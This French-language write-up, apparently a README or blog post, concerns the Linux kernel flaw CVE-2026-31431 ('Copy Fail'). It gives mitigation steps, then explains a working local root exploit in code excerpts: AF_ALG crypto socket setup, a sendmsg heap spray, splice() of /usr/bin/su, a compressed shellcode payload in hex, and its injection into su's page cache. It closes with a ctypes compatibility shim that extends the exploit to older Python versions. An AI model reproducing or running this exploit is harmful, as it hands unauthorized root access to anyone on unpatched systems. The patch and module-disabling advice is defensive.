CVE-2026-31431

Copy Fail - Détail de la CVE-2026-31431

https://nvd.nist.gov/vuln/detail/CVE-2026-31431

https://copy.fail/#exploit

https://xint.io/blog/copy-fail-linux-distributions

Distributions testées / Version

Exécution de l'exploit

main.py

ID de la commande

id

Si quelque chose comme ceci apparaît, cela signifie que vous avez maintenant un accès root.

Le correctif ne prend que quelques minutes.

Option 1 : Mettre à jour votre noyau (recommandé)

For Ubuntu/Debian: sudo apt update, sudo apt upgrade -y
For RHEL-based systems: sudo yum update

Redémarrez ensuite votre serveur.

Option 2 : Désactiver le module concerné (correctif temporaire)

Si une mise à jour immédiate n'est pas possible, désactivez le module vulnérable pour réduire l'exposition :

echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf rmmod algif_aead 2>/dev/null || true

Cela n'affectera pas SSH, TLS, LUKS ou OpenSSL.

Technique d'attaque : type CVE (API Crypto + splice)

Cela semble exploiter une vulnérabilité dans le sous-système crypto AF_ALG du noyau Linux, combinée à une mauvaise utilisation de splice()/sendmsg() pour :

• Divulguer des pointeurs du noyau
• Corrompre le task_struct du processus
• Élever l'UID à 0 (root)

1. Utilisation du socket AF_ALG (38)

a = s.socket(38, 5, 0)  # AF_ALG = 38 (kernel crypto interface)
a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))

• Crée un socket cryptographique dans le noyau
• Configure le chiffrement AES-CBC + HMAC-SHA256
• Objectif réel : interagir avec les API internes du noyau

2. setsockopt obscur (h=279)

v(h, 1, d('0800010000000010'+'0'*64))  # option 1
v(h, 5, None, 4)                        # option 5 (NULL payload)

• 279 = ALG_SET_KEY (définit la clé cryptographique)
• Options non documentées qui exploitent le sous-système ALG
• Clé '0800010000000010' + zéros — probablement le déclencheur de la vulnérabilité

3. Technique d'attaque principale

u.sendmsg([b"A"*4+c], [
    (h, 3, i*4),           # cmsg level 3 (ALG_OP?)
    (h, 2, b'\x10'+i*19),  # cmsg level 2
    (h, 4, b'\x08'+i*3)    # cmsg level 4
], 32768)

• sendmsg avec des données annexes (messages de contrôle)
• Le 'i' (compteur) crée des tailles variables à chaque itération
• Objectif : heap spraying et corruption de la mémoire du noyau

4. splice() entre tubes

r, w = g.pipe()           # create anonymous pipe
g.splice(f, w, o, offset_src=0)      # copy from file to pipe
g.splice(r, u.fileno(), o)           # copy from pipe to socket

Transfert de données zéro copie entre :

/usr/bin/su (file) → pipe → crypto socket

splice évite les copies utilisateur→noyau → opération entièrement dans l'espace noyau

5. Charge utile décompressée

Données hexadécimales :

78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3

Commence par 78da → en-tête zlib

Le contenu décompressé inclut probablement :

Shellcode (machine code)  
x86_64 privilege escalation instructions  

6. Écriture de la charge utile dans su

while i < len(e):
    c(f, i, e[i:i+4])  # writes 4 bytes of shellcode into su

Corrompt /usr/bin/su en mémoire (pas sur le disque)

Le shellcode est injecté dans le processus su au moment de l'exécution

7. Exécution finale

g.system("su")

[!NOTE] Si la version de Python du système d'exploitation cible est <3.10, utilisez le code ci-dessous pour que cela fonctionne. Mais assurez-vous d'abord de vérifier la disponibilité de l'appel système.

python3 - <<'PY'
import ctypes
libc = ctypes.CDLL("libc.so.6")
print("splice syscall wrapper exists:", hasattr(libc, "splice"))
PY

Ajoutez cet extrait de code sous la section PAYLOAD_COMPRESSED :

_libc = ctypes.CDLL("libc.so.6", use_errno=True)
_libc.splice.restype = ctypes.c_ssize_t
_libc.splice.argtypes = [
    ctypes.c_int,
    ctypes.POINTER(ctypes.c_int64),
    ctypes.c_int,
    ctypes.POINTER(ctypes.c_int64),
    ctypes.c_size_t,
    ctypes.c_uint,
]

def _splice(src, dst, count, offset_src=None, offset_dst=None, flags=0):
    off_in  = ctypes.byref(ctypes.c_int64(offset_src)) if offset_src is not None else None
    off_out = ctypes.byref(ctypes.c_int64(offset_dst)) if offset_dst is not None else None
    ret = _libc.splice(src, off_in, dst, off_out, count, flags)
    if ret < 0:
        errno = ctypes.get_errno()
        raise OSError(errno, os.strerror(errno))
    return ret

Exécute su (changement d'utilisateur) — désormais avec la charge utile corrompue

su modifié renvoie un accès root sans nécessiter de mot de passe